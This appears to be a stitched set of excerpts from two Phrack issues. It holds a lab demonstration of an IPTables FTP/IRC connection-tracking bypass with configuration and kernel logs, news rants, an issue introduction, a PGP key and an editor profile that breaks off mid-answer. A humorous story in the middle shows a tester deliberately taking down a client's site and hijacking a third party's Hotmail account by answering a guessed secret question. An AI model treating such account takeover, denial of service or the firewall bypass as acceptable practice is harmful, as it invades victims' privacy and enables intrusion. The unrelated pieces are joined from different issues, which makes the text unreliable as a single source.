‑‑[ 7 ‑ APPENDIX II. A demonstration example of the second attack trick

The followings are the circumstances in which I tested it actually.

The below symbol "[]" stands for a computer box.

[An attacker's host]‑‑‑‑‑[A firewall]‑‑‑‑‑[An FTP server]

(The network interfaces, eth1 and eth2 of the firewall are directly linked to the attacker's host and server, respectively.)

As shown in the above figure, packets being transmitted between the FTP client(i.e., the attacker) and the FTP server pass through the linux box with IPTables in the Linux kernel 2.4.28.

The IP addresses assigned in each box are as follows.

(a) The attacker's host : 192.168.3.3

(b) eth1 port in the Linux box : 192.168.3.1

(c) The FTP server : 192.168.4.4

(d) eth2 port in the Linux box : 192.168.4.1

A TCP server is listening on the FTP server's host address and port 8000. The server on port 8000 is protected by IPTables. The attacker tried to connect illegally to port 8000 on the FTP server in this demonstration.

The associated records during this attack are written in the following order.

(1) The system configurations in the firewall, including the ruleset of IPTables

(2) Tcpdump outputs on eth1 port of the firewall

(3) Tcpdump outputs on eth2 port of the firewall

(4) The file /proc/net/ip_conntrack data with the change of times. It shows the information on connections being tracked.

(5) DEBUGP(), printk messages for debug in the source files(ip_conntrack_core.c, ip_conntrack_ftp.c and ip_conntrack_irc.c). For the detailed messages, I activated the macro function DEBUGP() in the files.

Since some characters of the messages are Korean, they have been deleted. I am sorry for this.

========================================

(1) The system configurations in the firewall

[root@hans root]# uname ‑a

Linux hans 2.4.28 #2 2004. 12. 25. () 16:02:51 KST i686 unknown

[root@hans root]# lsmod

Module Size Used by Not tainted ip_conntrack_irc 5216 0 (unused)

ip_conntrack_ftp 6304 0 (unused)

ipt_state 1056 1 (autoclean)

ip_conntrack 40312 2 (autoclean) [ip_conntrack_irc ip_conntrack_ftp

ipt_state]

iptable_filter 2432 1 (autoclean)

ip_tables 16992 2 [ipt_state iptable_filter] ext3 64032 3 (autoclean)

jbd 44800 3 (autoclean) [ext3]

usbcore 48576 0 (unused)

[root@hans root]# iptables ‑L

Chain INPUT (policy ACCEPT)

target prot opt source destination

Chain FORWARD (policy DROP)

target prot opt source destination

ACCEPT tcp ‑‑ 192.168.3.3 192.168.4.4 tcp dpt:ftp ACCEPT tcp ‑‑ anywhere anywhere tcp dpt:auth ACCEPT tcp ‑‑ 192.168.4.4 192.168.3.3 tcp dpt:ircd ACCEPT all ‑‑ anywhere anywhere state RELATED,ESTABL

ISHED

Chain OUTPUT (policy ACCEPT)

target prot opt source destination

[root@hans root]# route ‑n

Kernel IP routing table

Destination Gateway Genmask Flags Metric Ref Use Iface

192.168.4.0 0.0.0.0 255.255.255.0 U 0 0 0 eth2

192.168.3.0 0.0.0.0 255.255.255.0 U 0 0 0 eth1

192.168.150.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0

127.0.0.0 0.0.0.0 255.0.0.0 U 0 0 0 lo

========================================

(2) Tcpdump outputs on eth1 port of the firewall

You can see that the "partial" PORT commands were transmitted and an illegal connection to port 8000 was established.

tcpdump ‑nn ‑i eth1 ‑s 0 ‑X

[ phrack staff: Output removed. Do it on your own. ]

========================================

(3) Tcpdump outputs on eth2 port of the firewall

Only one PORT command w/o <CR> is shown on eth2 port since the first one was dropped.

tcpdump ‑nn ‑i eth2 ‑s 0 ‑X

[ phrack staff: Output removed. Get skilled. Do it yourself! ]

========================================

(4) The file /proc/net/ip_conntrack data with change of times.

The file /proc/net/ip_conntrack shows the information on connections being tracked. To that end, I executed the following shell command.

/>watch ‑n 1 "data >> /tmp/ipconn.txt;cat /proc/net/ip_conntrack >> /tmp/ipconn.txt"

Note : Connections that are not associated with this test are seen from time to time. I am sorry for this.

[ phrack staff: Output removed. Use the force luke! ]

========================================

(5) dmesg outputs

‑>The following paragraph in the message shows that the first PORT command w/o <CR> was regarded as "partial" and thus dropped.

Dec 31 15:03:40 hans kernel: find_pattern `PORT': dlen = 23 Dec 31 15:03:40 hans kernel: Pattern matches!

Dec 31 15:03:40 hans kernel: Skipped up to ` '!

Dec 31 15:03:40 hans kernel: Char 17 (got 5 nums) `10' unexpected Dec 31 15:03:40 hans kernel: conntrack_ftp: partial PORT 1273167371+23

‑>The following paragraph shows that the second invalid PORT command w/o <CR> was accepted because it was regarded as a packet that had a wrong sequence position.(i.e., the packet was not regarded as an FTP command)

Dec 31 15:03:40 hans kernel: ip_conntrack_in: normal packet for d7369080 Dec 31 15:03:40 hans kernel: conntrack_ftp: datalen 23

Dec 31 15:03:40 hans kernel: conntrack_ftp: datalen 23 ends in \n Dec 31 15:03:40 hans kernel: ip_conntrack_ftp_help: wrong seq pos (1273167394)

‑>The following shows that the connection‑tracking module mistook the FTP data connection for IRC.

Dec 31 15:03:40 hans kernel: ip_conntrack_in: new packet for d73691c0 Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:entered Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:Conntrackinfo = 2 Dec 31 15:03:40 hans kernel: Confirming conntrack d73691c0

‑>The following shows that ip_conntrack_irc mistook the packet contents of the FTP data connection for a DCC CHAT command and "expected" the fake chatting connection.

Dec 31 15:03:40 hans kernel: ip_conntrack_in: normal packet for d73691c0 Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:entered Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC found in master 192.168.4.4:20 192.168.3.3:6667...

Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC CHAT detected Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:DCC bound ip/port: 192.168.4.4:8000

Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:tcph‑>seq = 3731565152 Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:wrote info seq=1613392874 (ofs=33), len=21

Dec 31 15:03:40 hans kernel: ip_conntrack_irc.c:help:expect_related 0.0.0.0:0‑192.168.4.4:8000

Dec 31 15:03:40 hans kernel: ip_conntrack_expect_related d73691c0 Dec 31 15:03:40 hans kernel: tuple: tuple d6c61d94: 6 0.0.0.0:0 ‑> 192.168.4.4:8000

Dec 31 15:03:40 hans kernel: mask: tuple d6c61da4: 65535 0.0.0.0:0 ‑> 255.255.255.255:65535

Dec 31 15:03:40 hans kernel: new expectation d7cf82e0 of conntrack d73691c0

‑>The following shows that ip_conntrack, after all, accepted the illegal connection to port 8000 under the stateful inspection rule.

Dec 31 15:03:40 hans kernel: conntrack: expectation arrives ct=d7369260 exp=d7cf82e0

Dec 31 15:03:41 hans kernel: ip_conntrack_in: related packet for d7369260 Dec 31 15:03:41 hans kernel: Confirming conntrack d7369260

Dec 31 15:03:41 hans kernel: ip_conntrack_in: normal packet for d7369260

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack World News

==Phrack Inc.==

Volume 0x0b, Issue 0x3f, Phile #0x14 of 0x14

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ W O R L D N E W S ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

*** NSA & PHRACK ***

.. And in a positive way. See:

http://www.nsa.gov/snac/

Which has a section specifically for routers:

http://www.nsa.gov/snac/downloads_cisco.cfm?MenuID=scg10.3.1

And on page 80 Phrack is at the top of the list of references.

**** QUICK NEWS **** QUICK NEWS **** QUICK NEW ***** QUICK NEWS **** **** QUICK NEWS **** QUICK NEWS **** QUICK NEW ***** QUICK NEWS **** **** QUICK NEWS **** QUICK NEWS **** QUICK NEW ***** QUICK NEWS ****

And once gain ... two big companies, Cisco and ISS, try to scare free researchers to not talk about the problems in their software.

Michael Lynn has shown great courage and made use of his natural‑born rights: to talk.

Quote from his homepage:

'People who know me will tell you I have a long history of

not being afraid of people I should.'

Kudos to Lynn from the Staff @ Phrack.

From Michael Lynn's homepage:

A dangerous culture regarding hardware based network devices as impervious to remote compromise has been allowed to exist. Mike has taken on enormous personal risk to do the right thing for the security research community by coming forward with his research and bringing this problem into focus.

Cisco has consistently been on the forefront of this dangerous culture. They exercise a strategy of walling off updates and information only to those with support contracts. In many areas of critical infrastructure, engineers are often limited in their ability to utilize the latest security updates due to their IOS feature train. For years, attempting to adopt SSH as the primary method of administration for Cisco hardware has provided a perfect example of Cisco's broken security culture. Their handling of this situation is putting icing on the cake. We must encourage change in Cisco's security culture.

ISS's actions to date have shown an effect of this broken security culture. ISS's handling of this critical security threat and the researcher that found it have been less then desirable. We are confident our free‑market business and media environment will result in both ISS and Cisco learning lessons from this event.

http://www.nicklevay.net/

http://blogs.pcworld.com/staffblog/

http://blogs.washingtonpost.com/securityfix/2005/07/update_to_cisco.html

‑‑‑

Welcome to Austin/Texas International Airport. Please check out our new camera system. We can spy on our employees, our citizans and even on our president. Try it out now:

http://lobbycamera4.abia.org

‑‑‑

Microsofts goes l33t: The 31337 dictionary http://www.microsoft.com/athome/security/children/kidtalk.mspx

‑‑‑

This is a big fuckup of what happens if you dont watch out:

1) An attack happens

2) Politicans scare the shit out of the people and tell them it will happen again!

3) People accept to give up their rights, their freedom and their brain. 4) People get fucked by what the policticans told them would help against terror.

Ladies and Gentlemen, the TSA‑FUCKUP: http://www.komotv.com/stories/37150.htm

I love this quote: And I said what about my constitutional rights? And they said 'not at this point ... you don't have any'."

‑‑‑

DVD copy software illegal in the netherlands. http://www.theregister.co.uk/2005/07/25/dvd_copy/

http://www.theregister.co.uk/2005/07/25/uk_war_driver_fined/

Wait a moment? The software? I would even protest if it would

be the act of copying. But the software? What fuckup is this?

1) I buy a DVD

2) I buy software to copy DVD

3) I make a copy of my OWN DVD for MY OWN purpose

4) I make a copy of my OWN DVD for my FRIEND

5) I make a copy of my friends DVD for MY FRIEND

6) I make a copy of my friends DVD for ME

7) I make MANY copies of my friends DVD for OTHERS

So where does warez trading start? Netherlands, that was a bad move. The people of the Netherlands are not stupid. They will never allow you to forbid them to make a copy of their own DVDs. And for sure you will never ever be able to forbid them to develop and research software to copy DVDs or any other software.

Other countries would have sponsored smart guys who can write such software. The people of the Netherlands will fight for their rights. Free speech & free research will win in the end.

‑‑‑

|=‑‑‑‑‑‑‑=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=[ Social Penetration Testing ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

By Pascal Cretain (Pascal_Cretain@mail.com)

I' say with certainty that the MD5 checksum of each and every one of the last, say 200 days has not been tampered with and is the same in all cases. It's yet another dull day in the office and I'm bored out of my f***ing skull. This new client not only wants an 'external blind pen test' they also want 'comprehensive static code analysis'. Why they are paying money to 'secure' this monstrosity is beyond me. It doesn't even have an authentication section. Bollocks.

A DNS zone transfer request greets me cheerfully with all their internal network structure...not that I will need that since they have only asked for webserver testing but it's good to know anyway. I launch that damn nessus scan for the millionth time and I senselessly wait for the attack progress bar to complete'no joy. I fire up Nikto, Webscan, N‑Stealth AND ISS at the same time enabling all dangerous plugins in an attempt to DoS this ugly webserver, certainly not running Free/GNU open source software but something proprietary and expensive starting from I and ending in IS. In addition to that I launch independent SYN FLOOD attacks and distributed teardroping to improve my chances of achieving the goal. Soon, the website falls clumsily like a non‑armoured villager in the battle of Waterloo.

I smile with content as the overbloated, dysmorphic, dynamic html pages are soon replaced with a plain, powerful, beautiful and snowy white 404 error. A minute of silence and peace is instantly shattered by the phone ringing. It's the operations manager.

‑ Pascal, they people from Dorksershire_Upon_Avon just called me complaining that the website is down. Does that have something to do with the pen testing we perform?

‑ Well , partially yes, I respond. And then, more aggressively I explain "If the client wants a penetration test to be complete they have to get their website tested against Denial Of Service Attacks, the most innocuous and common type of attack nowadays. They will thank us for that, eventually. Moreover, we had warned them about the danger of DoS when they signed the contract. Despite the fact that we take every precaution to avoid such a side‑effect, DoS is a risk that comes bundled with proper testing. I clearly remember that sales guy. He'd thought that with the term DoS I meant that black, command‑line pre‑windows OS, the one that emptied the screen when you typed CLS. Oh well.

‑ Thank you Pascal, I will inform them.

It's already 4+30...I'd like to escape earlier today, especially now, after the DoS unfortunate 'incident' that has put a temporary pause to our duties I can't do much.

The operations manager is now gone, or he might even be in the loo, who cares, now is my ultimate chance to scram. Within seconds, literally, I'm sitting right in the middle of the 'Thirsty Fox' pub. Oooh I love this place.

‑ Pint of John Smith's please

‑ Sure mate

‑ Cheers

‑ Cheers

A fractal amount of ale gets spilled over the counter

‑ Sorry

‑ Sorry

‑ That's all right mate

‑ Cheers

‑ Cheers

I grab the glass and drink half of the beer in one go. Then I look around for female presence vulnerable to man in the middle attack. Equipped with my brand new 'penetration testing anyone?' t‑shirt, I can't lose. There she is! Black hair, my type. I down the rest of my drink, order another pint.

‑ Pint of John Smith's please

‑ Sure mate

‑ Cheers

‑ Cheers

I Grab the glass and make my move.

‑ Hey

‑ Hiya.

‑ You come here often? I say with an epic voice

‑ Yeah , quite often she responds uninterested

‑ You know, I'm a penetration tester. My voice is deep and certainly erotic. ‑ *Silence*

‑ I'm a hacker, I say, and I get paid to do it.

‑ Ha. That's interesting. Do you hack hotmail?

‑ Of course, I respond confidently. I'm a Hotmail Hacking Certified Reverse Engineer and president of the British Open Source institute for ...mm...E‑mail Compromise (HHCRE&PBOSIEC)

‑ Wow, she says impressed. Could you offer me your valuable help then please? There is a particular email account that I have forgotten the password for and has critical information for me. The account is Brutus_Needham@hotmail.com...Would you help me hack it?

‑ Sure, no worries. Why don't we finish these drinks and be gone, I live nearby. In my place I got 1Gb Download/512MB X‑DSL access, 3 workstations and 2 mainframes running different command‑line OSs. In the worst case scenario, we can always run a distributed john the ripper dictionary attack using my VERY LONG AND THICK dictionaries, I say in an attempt to impress. The girl is moving her head, looking somehow puzzled. We'll sort out your situation in a jiffy, I add to simplify things. Say, how can this be your email account, tho'? isn't that a man's name? I say while blinking at the same time.

‑ Well. _blush_ ok you got me! It's my darn ex boyfriend and I have to find out what he has been doing! If you don' mind.

‑ No worries, we can take care of that. I'm glad I can be of assistance. Your female friend can join us as well if she feels like a 'small penetrating class' free of charge!, I say, while making some fast, and certainly erotic & meaningful gestures.

‑ Yeah, why not! sounds like fun! , both girls reply.

‑ Bingo. Let's get to some real penetration testing, I think to myself while smiling.

I don't own a car since I believe that it's a good idea not to acquire products that will make your life more stressful and costly. Why pay car insurance, petrol and refrain one's self from the wonderful act of drinking John Smith's when you can use public transport completely wasted, or walk, or cycle (wasted). Generally, I consider that people should only buy goods that they absolutely need. An oscilloscope, for instance, is an example of an absolutely necessary device, that's why I own two of them. Other than that, not owning things provides the luxury of being flexible, free, and ensures you tread lightly on this earth. Anywayz.

So we walk home, myself in the middle , girls on both sides.

‑ So, what's your name, hacker? One of the girls asks.

‑ Pascal, I reply. Pascal Cretain.

‑ Ha, this is not a very usual name. Where do you come from , Pascal? ‑ I come from the land of Compromise. I respond, looking at the void. ‑ You are an interesting one, Pascal. I honestly hope you're not bullshiting around with us.

‑ As a true hacker, I will speak with actions and not with useless words, I say. Just wait till we crack that Brutus who needs ham, girl.

Soon, all three of us are sitting comfortably in my messy 'IT room'. One of the girls asks:

‑ Hey, where is your equipment mate? Didn't you say you had five computers with X‑LSD internet? All I can see is a shitty laptop! What's going on? And where is the LSD?

‑ Don't worry honey, I reply with a calm voice. My computer equipment is all here. But not quite. This laptop basically is the access point to my REAL IT infrastructure, which resides somewhere near ‑ very near. Unfortunately, due to non‑disclosure confidentiality agreements, I cannot inform you of the real location of my computers, nor show you around, tho' I'd love to ‑ sigh. The girls are gazing at me, unconvinced

‑ Oh well , whatever. D'you have anything we can drink then?

‑ Sure, I got John Smith's premium Ale. They grab a can each and start chatting about online shopping.

I grab a can and quickly get to work . I browse to passport.net, then reset password, choose country, type in the username....wait for the Brutus' 'Secret' question. Fuck yeah!

‑ Hey, girl, you didn't tell me your name. I ask the 'interested party'. 'Jude' she responds..I type in the answer to Brutus's secret question, then reset the password to 'Oscilloscoped'

‑ Mine is Gloria , the other girl says.

‑ Hey Jude, I says. Wanna come over here? I got somethin' for you. Fact I got two. I blink.

Both girls approach. I sit back and smile.

It's not such a bad day after all.

64

- Introduction by The Circle of Lost Hackers

- Phrack Prophile of the new editors by The Circle of Lost Hackers

- Phrack World News by The Circle of Lost Hackers

- A brief history of the Underground scene by Duvel

- Hijacking RDS TMC traffic information signal by lcars & danbia

- Attacking the Core by twiz & sgrakkyu

- The revolution will be on YouTube by gladio

- Automated vulnerability auditing in machine code by Tyler Durden

- The use of set_head to defeat the wilderness by g463

- Cryptanalysis of DPA-128 by sysk

- Mac OS X Wars - A XNU Hope by nemo

- Hacking deeper in the system by scythale

- Remote blind TCP/IP spoofing by lkm

- Know your enemy by Lance

- The art of exploitation by Ac1dB1tch3z

- Hacking your brain by keptune

- International scenes by Various

Introduction

_

_/B\_ W\_

(* *) Phrack #64 file 1 (* *)

| ‑ |

| | Introduction | |

| |

| | By The Circle of Lost Hackers | |

| |

| |

(___________________________

"As long as there is technology, there will be hackers. As long as there are hackers, there will be PHRACK magazine. We look forward to the next 20 years"

This is how the PHRACK63 Introduction was ending, telling everybody that the Staff would have changed and to expect a release sometimes in 2006/2007. This is that release. This is the new staff, "The Circle of Lost Hackers". Every new management requires a presentation and we decided to do it by Prophiling ourselves. Useless to say, we'll keep anonymous, mainly for security reasons that everyone understands.

Being anonymous doesn't mean at all being closed. Phrack staff has always evolved, and will always evolve, depending on who really care about being a smart‑ass. The staff will always receive new people that cares about writing cool articles, meet new authors and help them at publishing their work in the best conditions. Grantee of freedom of speech will be preserved. It is the identity of our journal.

Some people were starting to say that phrack would have never reborn. That there would have never been a PHRACK64 issue. We heard that while we were working on, we smiled and kept going on. Some others were saying that the spirit was lost, that everything was lost.

No, Phrack is not dead. Neither is the spirit in it.

All the past Phrack editors have done a great work, making the Phrack Magazine "the most technical, most original, the most Hacker magazine in the world", written by the Underground for the Underground. We are in debt with them, every single hacker, cracker or researcher of the Underground should feel in debt with them.

For the work they did.

For the spirit they contributed to spread.

For the possibility of having a real Hacker magazine.

No, nothing is or was ever lost. Things change, security becomes a business, some hackers sell exploits, others post for fame, but Phrack is here, totally free, for the community. No business, no industry, no honey, baby. Only FREEDOM and KNOWLEDGE.

We know the burden of responsibility that we have and that's why we worked hard to bring you this release. It wasn't an easy challenge at all, we have lost some people during those months and met new ones. We decided to make our first issue without a "real" CFP, but just limit it to the closest people we had in the underground. A big thank to everyone who participated. We needed to understand who really was involved and who was lacking time, spirit or motivation: having each one a lot of work to do (writing, reviewing, extending and coding) was the best way to succeed in that. This is not a "change of direction", next issues will have their official CFP and whatever article is (and has always been) welcome.

We know that we have a lot to learn, we're improving from our mistakes and from the problems we've been facing. Aswell, we know that this release is not "the perfect one", but we think that the right spirit is there and so is the endeavor. The promise to make each new release a better one is a challenge that we want to win.

No, Phrack is not dead. And will never die.

Long live to PHRACK.

‑ The Circle of Lost Hackers

[‑]=====================================

For this issue, we're bringing you the following :

0x01 Introduction The Circle of Lost Hackers

0x02 Phrack Prophile of the new editors The Circle of Lost Hackers 0x03 Phrack World News The Circle of Lost Hackers 0x04 A brief history of the Underground scene The Circle of Lost Hackers 0x05 Hijacking RDS TMC traffic information signal lcars

danbia

0x06 Attacking the Core: Kernel Exploitation Notes twiz

sgrakkyu

0x07 The revolution will be on YouTube gladio

0x08 Automated vulnerability auditing in machine code Tyler Durden 0x09 The use of set_head to defeat the wilderness g463

0x0a Cryptanalysis of DPA‑128 sysk

0x0b Mac OS X Wars ‑ A XNU Hope nemo

0x0c Hacking deeper in the system ankhara

0x0d The art of exploitation: Autopsy of cvsxpl Ac1dB1tch3z 0x0e Facing the cops Lance

0x0f Remote blind TCP/IP spoofing Lkm

0x10 Hacking your brain: The projection of consciousness keptune 0x11 International scenes Various

Scene Shoutz:

All the people who helped us during the writing of this issue especialy assad, js, mx‑, krk, sysk. Thank you for your support to Phrack. The magazine deserve a good amount of work and it is not possible without a strong and devoted team of hackers, admins, and coders.

The circle of lost hackers is not a precise entity and people can join and quit it, but the main goal is always to give Phrack the release deserved by the underground hacking community. You can join us whenever you want to present a decent work to a wider range of peoples. We also need reviewers on all topics related to hardware hacking and body/mind experience.

All the retards who pretend to be blackhat on irc and did a pityful attempt to leak Phrack on Full‑Disclosure : Applause (Even the changes in the title were so subtle, a pity you did not put any rm ‑fr in the code, maybe you didnt know how to use uudecode ?)

Enjoy the magazine!

[‑]=====================================

Nothing may be reproduced in whole or in part without the prior written permission from the editors. Phrack Magazine is made available to the public, as often as possible, free of charge.

|=‑‑‑‑‑‑‑‑‑‑‑=[ C O N T A C T P H R A C K M A G A Z I N E ]=‑‑‑‑‑‑‑‑‑=|

Editors : circle[at]phrack{dot}org

Submissions : circle[at]phrack{dot}org

Commentary : loopback[@]phrack{dot}org

Phrack World News : pwn[at]phrack{dot}org

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Submissions may be encrypted with the following PGP key:

(Hint: Always use the PGP key from the latest issue)

‑‑‑‑‑BEGIN PGP PUBLIC KEY BLOCK‑‑‑‑‑

Version: GnuPG v1.4.5 (GNU/Linux)

mQGiBEZSCpoRBAC0VU8+6+Sy9/8Csiz27VrdOIV9cxhaaGr2xTg/U8rrfzz4ybbZ hfFWJv+ttdu6C+JEATlGJKzn9mVJl35EieQcC8bNJ6SXz1oJHTDhFsGkG1A8Qi2k /yRPtljPceWWxgCxBfoc8BtvMLUbagSJ/PFzy+ibwCGfoMxYifbbkRyS8wCgmVUV gBmpzy4ls5qzegAqVP0CIyEEAK7b7UjnOqvEjsSqdgHy9fVOcxJhhIO/tP8sAvZR /juUPGcl6PtP/HPbgsyccPBZV6s0LYliu92y7sLZH8Yn9SWI87IZvJ3Jzo2KQIRC zlZ+PiSK9ITlTVd7EL0m8qXAlESBnjMA4of6+QckvuGnDTHPmHRsJEnseRr21XiH +CmcA/9blLrNhK4hMwMlULB/3NnuejDjkyTTcAAFQx2efT0cUK6Esd0NSlLS4vlL 3QWwnMTDsdc37sTBbhM1c6gwjD46lz2G4bJWXCZZAb6mGNHDkKL9VosW+CN3KtMa MOvFqVOKM0JnzHAHAzL2cyhUqUU9WYOHMv/ephWeFTooadcrqbQ/VGhlIENpcmNs ZSBvZiBMb3N0IEhhY2tlcnMgKHd3dy5waHJhY2sub3JnKSA8Y2lyY2xlQHBocmFj ay5vcmc+iGYEExECACYFAkZSCpoCGwMFCQPCZwAGCwkIBwMCBBUCCAMEFgIDAQIe AQIXgAAKCRCtZBmRMDi989eZAJ9X06v6ATXz1/kj+SG1GF5aRedM6QCgjkhZLVQP aNUYru8KVtzfxd0J6om5Ag0ERlIKrRAIAMgbTDk286rkgrJkCFQo9h8Pf1hSBOyT yU/BFd0PDKEk8+cMsMtPmS0DzBGv5PSa+OWLNPxCyAEXis5sKpoFVT5mEkFM8FCh Z2x7zzPbI+bzyGMTQ4kPaxoTf2Ng/4ZE1W+iCyyTsSwtjxQkx2M4IOzW5rygtw2z lqrbUN+ikKQ9c2+oleIxEdWiumeiw7FkypExWjo+7HCC2QnPtBVYzmw5Ed6xDS1L rXQ+rKj23L7/KL0WSegQ9zfrrVKISD83kiUgjyopXMBY2tPUdUFlpsImE8fNZ3Rm hYW0ibpOWUdu6K+DnAu5ZzgYhVAWkR5DQkVTGUY3+n/C2G/7CfMJhrMAAwYH/1Pw dlFmRQy6ZrxEWEGHpYaHkAjP1vi4VM82v9duYHf1n25OiJhjf9TDAHTfZBDnlBhz CgWCwi79ytMFOCIHy9IvfxG4jNZvVTX2ZhOfPNullefHop3Gsq7ktAxgKJJDZ4cT oVHzF4uCv7cCrn76BddGhYd7nru59yOGDPoV5f7xpNi1cxgoQsF20IpyY79cI8co jimET3B1F3KoxOtzV5u+vxs6+tdWP4ed5uGiYJNBC+h4yRl1CChDDDHjmXGNPJrr +2Y49Hs2b3GsbCyaDaBv3fMn96tzwcXzWxRV9q4/pxot/W7CRpimCM4gHsrw9mZa +Lo+GykjtzVMMdUeZWaITwQYEQIADwUCRlIKrQIbDAUJA8JnAAAKCRCtZBmRMDi9 80yQAJ9v7DcHj42YzpFRC7tPrGP72IB/pgCdHjt52h4ocdJpq5mKKwb6yONj5xM= =Nf2W

‑‑‑‑‑END PGP PUBLIC KEY BLOCK‑‑‑‑‑

phrack:~# head ‑22 /usr/include/std‑disclaimer.h

/*

* All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue.

*

*

* Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. *

*

* Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors.

* These opinions do not necessarily represent those of the Phrack Staff. */

Phrack Prophile of the new editors

_

_/B\_ W\_

(* *) Phrack #64 file 2 (* *)

| ‑ |

| | Phrack Pro‑Phile | |

| |

| | By The Circle of Lost Hackers | |

| |

| |

(___________________________

Welcome to Phrack Pro‑Phile. Phrack Pro‑Phile is created to bring info to you, the users, about old and highly important controversial peoples. The first Phrack Pro‑Phile was created in Phrack Issue 4 by Taran King. Since this date, a total of 43 profile were realized. Some well know hackers were profiled like Taran King, The Mentor, Knigh Lighting, Lex Luthor, Emmanuel Goldstein, Erik Bloodaxe, Control‑C, Mudge, Aleph‑One, Route, Voyager, Horizon or more recently Scut.

This prophile is probably a little more different since it will introduce the new staff. Since the people composing The Circle of Lost Hackers want to stay anonymous, the Prophile will be more a "question‑answer" prophile.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Personal

‑‑‑‑‑‑‑‑

Handle: The Circle of Lost Hackers

Call them: call them what you want, just be careful

Handle Origin: Dead Poets Society movie

Date of Birth: from 1977 to 1984

Age at current date: haha

Countries of origin: America, South‑America and Europe

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Favorite Things

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Women : Angelina Jolie because she was a great hacker in a movie Cars : Like everyone, the Dolorean. The only nice car in the world.

Foods : Italian food is without a doubt the best food. Some other prefer Chinese or Japanese once they tasted Yakitori's. Alcohols : anything which make you drunk

Drugs : sex

Music : Drum and Bass, Sublime, Orbital, Red Hot Chili Peppers, DJ Shadow, The Chemical Brothers, The Mars Volta, more generally death metal, and gothic rock. Abstract electro bands like Boards of Canada.

Movies : Blade Runner, The Usual Suspect, Fight Club, Kill Bill, hackers (private joke)

Authors : Gurdjieff, Rufolf Steiner, Rupert Sheldrake, Plato, Stephan Hawkings, Roger Penrose, George Orwell, Noam Chomsky, Sun Tzu, Nicolas Tesla, Douglas Hofstadter, Ernesto Guevara, Daniel Pennac, Gabriele Romagnoli

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Open Interview

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Q: Hello

A: Saluto amigo!

Q: Can you introduce yourselves in a few words?

A: The Circle of Lost Hackers is a group of friends overall. Two years ago when TESO decided to stop Phrack, the voice of the underground decided not to let Phrack dying. People started to wonder .. Phrack is really dead ? In no way it is. Phrack reborns, always, from the influence of multiple hacking crews to make this possible. But at the beginning it was not easy to create a new team, a lot of people agreed to continue Phrack but not really to write or review articles. Also, one of the most important thing was to have people with the good spirit. Now we think that we have a good team and we hope bring to the Underground scene a lot of quality papers like in old issues of Phrack, but keeping the technical touch that makes Phrack a unique hacking magazine. The Phrack staff evolves and will always evoluate a new talents get interested in sharing for fun and free information.

Q: How many people are composing The Circle of Lost Hackers?

A: We could tell you, but we would have to kill you, after. The only important thing is that "The Circle of Lost Hackers" is not a restricted club. More people will join us, others may leave, depending on who really believes in comunication, hacking and freedom of research and information.

Q: When did you start to play with computers and to learn hacking? A: Each one of us could answer differently. There's not a "perfect" age to start, neither it is ever too late to start. Hacking is researching. It is being so obstinated on resolving and understanding things to spend nights over a code, a vulnerability, an electronic device, an idea.

Hacking is something you have inside, maybe you'll never take a computer or write a code, but if you've an "hacking mind" it will reveal itself, sooner or later.

To give you an idea of the first computers of some members of the team, it was a 286, 486 SX or an Amiga 1000. Each of us started to play with computer at the end of 80' or beginning of 90'. The hacking life of our team started more or less around 97. Like with a lot of people, Phrack and 2600 mag were and are a great source of inspiration, as well as IRC and reading source code.

Q: This interview is quite strange, you do the questions and the answers at the same time ?!?!

A: What's the problem, in phrack issue 20 Taran King did a prophile of himself!!!

Q: Can you tell us what is your most memorable experience?

A: Each of us has a lot of memorable experiences but we don't really have a common experience where we hacked all together. So to make easy we are going to take three of our "memorable" experiences.

1.

